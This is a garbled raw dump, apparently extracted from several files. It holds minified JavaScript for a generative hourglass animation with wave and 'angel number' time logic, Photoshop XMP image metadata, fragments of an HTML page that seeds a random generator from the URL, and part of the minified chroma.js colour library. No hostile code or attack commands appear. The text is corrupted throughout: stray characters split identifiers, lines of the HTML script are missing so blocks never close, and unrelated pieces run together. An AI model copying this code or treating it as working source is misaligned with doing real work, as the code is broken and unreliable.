hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
Adobe Photoshop CC 2017 (Macintosh)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP CorM
e 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="adobe:docid:photoshop:c59552a3-e8ea-1180-9761-b63092c8b4ab" xmpMM:InstanceID="xmp.iid:14d6aed4-31be-4e69-86M
eb-82f9e5711b92" xmpMM:OriginalDocumentID="AFB80E7CE2EC3F69CA6797197FFA61A0" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB" xmp:CreateDate="2023-02-08T14:40:31-06:00" xmp:ModifyDate="2023-02-09T15:34:51-06:00" xmp:MetadataDate="2023-02-09T15:34:51-06:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:354198da-1963-46ed-a14b-b14760cbb785" stEvt:when="2023-02-09T15:34:51-06:00" stEvt:softwareAgent="Adobe Photoshop CC 2017 (Macintosh)" stEvt:changed="/"/> M
<rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:14d6aed4-31be-4e69-86eb-82f9e5711b92" stEvt:when="2023-02-09T15:34:51-06:00" stEvt:softwareAgent="Adobe Photoshop CC 2017 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                         <?xpacket end="w"?>
Adobe Photoshop 21.1 (Windows)
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:pdf="http://ns.adobe.com/pdf/1.3/" xmM
lns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" dc:format="image/jpeg" xmp:MetadataDate="2023-02-13T12:18:29-05:00" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2022-12-26T12:07:40-05:00" xmp:ModifyDate="2023-02-13T12:18:29-05:00" pdf:Producer="Adobe PSL 1.3e for Canon" xmpMM:OriginalDocumentID="uuid:4dd8a963-0000-4142-4344-4M
54600000000" xmpMM:InstanceID="xmp.iid:a0cddffd-9d5d-914d-8204-fed3c2d97d80" xmpMM:DocumentID="adobe:docid:photoshop:5d8da20a-b143-d347-a3e3-1f961c18d505" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:LegacyIPTCDigest="E8F15CF32FC118A1A27B67ADC564D5BA"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="converted" stEvt:parameters="from application/pdf to application/vnd.adobe.photoshop"/> <rdf:li stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/" stEvt:when="2023-01-03M
T18:51:46-05:00" stEvt:instanceID="xmp.iid:f49d5d16-ea36-f54a-bb23-114da27486eb" stEvt:action="saved"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/pdf to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/" stEvt:when="2023-01-03T18:51:46-05:00" stEvt:instanceID="xmp.iid:4a6b6eed-98e1-a54c-b3d1-315f336ff0f8" stEvt:action="saved"/> <rdf:li sM
tEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)" stEvt:changed="/" stEvt:when="2023-02-13T12:18:29-05:00" stEvt:instanceID="xmp.iid:a0cddffd-9d5d-914d-8204-fed3c2d97d80" stEvt:action="saved"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:originalDocumentID="uuid:4dd8a963-0000-4142-4344-454600000000" stRef:instanceID="xmp.iid:f49d5d16-ea36-f54a-bb23-114da27486eb" stRef:documentID="xmp.did:f49d5d16-ea36-f54a-bb23-114da27486eb"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
